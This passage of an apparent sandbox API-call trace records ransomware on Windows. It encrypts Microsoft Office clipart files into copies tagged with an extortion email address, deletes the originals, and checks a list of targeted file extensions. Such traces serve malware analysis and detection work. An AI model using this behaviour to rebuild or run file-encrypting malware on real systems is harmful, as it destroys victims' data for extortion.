hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.823] SetEndOfFile (hFile=0x398) returned 1 [0068.824] CloseHandle (hObject=0x398) returned 1 [0068.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0068.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0068.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0068.824] lstrlenW (lpString=".doc") returned 4 [0068.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString=".docx") returned 5 [0068.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.825] lstrlenW (lpString=".pdf") returned 4 [0068.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString=".xls") returned 4 [0068.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.825] lstrlenW (lpString=".xlsx") returned 5 [0068.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.825] lstrlenW (lpString=".ppt") returned 4 [0068.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0068.825] lstrlenW (lpString=".zip") returned 4 [0068.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.825] lstrlenW (lpString=".rar") returned 4 [0068.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString=".bz2") returned 4 [0068.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString=".7z") returned 3 [0068.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0068.825] lstrlenW (lpString=".dbf") returned 4 [0068.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0068.825] lstrlenW (lpString=".1cd") returned 4 [0068.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0068.825] lstrlenW (lpString=".jpg") returned 4 [0068.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.826] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.826] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0068.827] GetLastError () returned 0x0 [0068.827] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0068.876] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x9c60, lpOverlapped=0x0) returned 1 [0068.877] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0068.877] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0068.877] SetEndOfFile (hFile=0x354) returned 1 [0068.877] CloseHandle (hObject=0x354) returned 1 [0068.877] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.877] SetEndOfFile (hFile=0x398) returned 1 [0068.878] CloseHandle (hObject=0x398) returned 1 [0068.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0068.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0068.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0068.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0068.879] lstrlenW (lpString=".doc") returned 4 [0068.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString=".docx") returned 5 [0068.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0068.879] lstrlenW (lpString=".pdf") returned 4 [0068.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString=".xls") returned 4 [0068.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.879] lstrlenW (lpString=".xlsx") returned 5 [0068.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0068.879] lstrlenW (lpString=".ppt") returned 4 [0068.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0068.879] lstrlenW (lpString=".zip") returned 4 [0068.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.879] lstrlenW (lpString=".rar") returned 4 [0068.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString=".bz2") returned 4 [0068.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString=".7z") returned 3 [0068.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0068.879] lstrlenW (lpString=".dbf") returned 4 [0068.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0068.879] lstrlenW (lpString=".1cd") returned 4 [0068.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0068.879] lstrlenW (lpString=".jpg") returned 4 [0068.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.882] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.882] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0068.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0068.883] GetLastError () returned 0x0 [0068.883] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x44b0, lpOverlapped=0x0) returned 1 [0069.462] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x44c0, lpOverlapped=0x0) returned 1 [0069.463] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0069.463] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0069.464] SetEndOfFile (hFile=0x354) returned 1 [0069.722] CloseHandle (hObject=0x354) returned 1 [0069.722] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.722] SetEndOfFile (hFile=0x398) returned 1 [0069.723] CloseHandle (hObject=0x398) returned 1 [0069.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0069.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0069.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0069.723] lstrlenW (lpString=".doc") returned 4 [0069.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString=".docx") returned 5 [0069.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.724] lstrlenW (lpString=".pdf") returned 4 [0069.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString=".xls") returned 4 [0069.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.724] lstrlenW (lpString=".xlsx") returned 5 [0069.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.724] lstrlenW (lpString=".ppt") returned 4 [0069.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0069.724] lstrlenW (lpString=".zip") returned 4 [0069.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.724] lstrlenW (lpString=".rar") returned 4 [0069.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString=".bz2") returned 4 [0069.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString=".7z") returned 3 [0069.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0069.724] lstrlenW (lpString=".dbf") returned 4 [0069.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0069.724] lstrlenW (lpString=".1cd") returned 4 [0069.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0069.724] lstrlenW (lpString=".jpg") returned 4 [0069.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.725] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.725] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0069.725] GetLastError () returned 0x0 [0069.725] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xb88, lpOverlapped=0x0) returned 1 [0069.739] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xb90, lpOverlapped=0x0) returned 1 [0069.740] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0069.740] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0069.740] SetEndOfFile (hFile=0x354) returned 1 [0069.740] CloseHandle (hObject=0x354) returned 1 [0069.740] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.740] SetEndOfFile (hFile=0x398) returned 1 [0069.741] CloseHandle (hObject=0x398) returned 1 [0069.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0069.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0069.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0069.741] lstrlenW (lpString=".doc") returned 4 [0069.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString=".docx") returned 5 [0069.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.742] lstrlenW (lpString=".pdf") returned 4 [0069.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString=".xls") returned 4 [0069.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.742] lstrlenW (lpString=".xlsx") returned 5 [0069.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.742] lstrlenW (lpString=".ppt") returned 4 [0069.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0069.742] lstrlenW (lpString=".zip") returned 4 [0069.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.742] lstrlenW (lpString=".rar") returned 4 [0069.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString=".bz2") returned 4 [0069.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString=".7z") returned 3 [0069.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0069.742] lstrlenW (lpString=".dbf") returned 4 [0069.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0069.742] lstrlenW (lpString=".1cd") returned 4 [0069.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0069.742] lstrlenW (lpString=".jpg") returned 4 [0069.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.742] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.743] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0069.743] GetLastError () returned 0x0 [0069.743] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x600c, lpOverlapped=0x0) returned 1 [0069.870] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x6010, lpOverlapped=0x0) returned 1 [0069.871] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0069.871] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0069.871] SetEndOfFile (hFile=0x354) returned 1 [0069.871] CloseHandle (hObject=0x354) returned 1 [0069.871] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.871] SetEndOfFile (hFile=0x398) returned 1 [0069.872] CloseHandle (hObject=0x398) returned 1 [0069.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0069.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0069.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0069.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0069.875] lstrlenW (lpString=".doc") returned 4 [0069.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString=".docx") returned 5 [0069.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.875] lstrlenW (lpString=".pdf") returned 4 [0069.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString=".xls") returned 4 [0069.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.875] lstrlenW (lpString=".xlsx") returned 5 [0069.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.875] lstrlenW (lpString=".ppt") returned 4 [0069.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0069.875] lstrlenW (lpString=".zip") returned 4 [0069.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.875] lstrlenW (lpString=".rar") returned 4 [0069.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString=".bz2") returned 4 [0069.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString=".7z") returned 3 [0069.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0069.875] lstrlenW (lpString=".dbf") returned 4 [0069.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0069.875] lstrlenW (lpString=".1cd") returned 4 [0069.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0069.875] lstrlenW (lpString=".jpg") returned 4 [0069.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.876] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.876] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0069.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0069.876] GetLastError () returned 0x0 [0069.876] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xe6c, lpOverlapped=0x0) returned 1 [0070.048] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe70, lpOverlapped=0x0) returned 1 [0070.049] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.049] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.049] SetEndOfFile (hFile=0x354) returned 1 [0070.049] CloseHandle (hObject=0x354) returned 1 [0070.049] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.049] SetEndOfFile (hFile=0x398) returned 1 [0070.050] CloseHandle (hObject=0x398) returned 1 [0070.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0070.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0070.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0070.054] lstrlenW (lpString=".doc") returned 4 [0070.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.054] lstrlenW (lpString=".docx") returned 5 [0070.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.054] lstrlenW (lpString=".pdf") returned 4 [0070.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.054] lstrlenW (lpString=".xls") returned 4 [0070.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.054] lstrlenW (lpString=".xlsx") returned 5 [0070.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.054] lstrlenW (lpString=".ppt") returned 4 [0070.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0070.054] lstrlenW (lpString=".zip") returned 4 [0070.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.054] lstrlenW (lpString=".rar") returned 4 [0070.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.054] lstrlenW (lpString=".bz2") returned 4 [0070.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.054] lstrlenW (lpString=".7z") returned 3 [0070.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.054] lstrlenW (lpString="C:\\Program 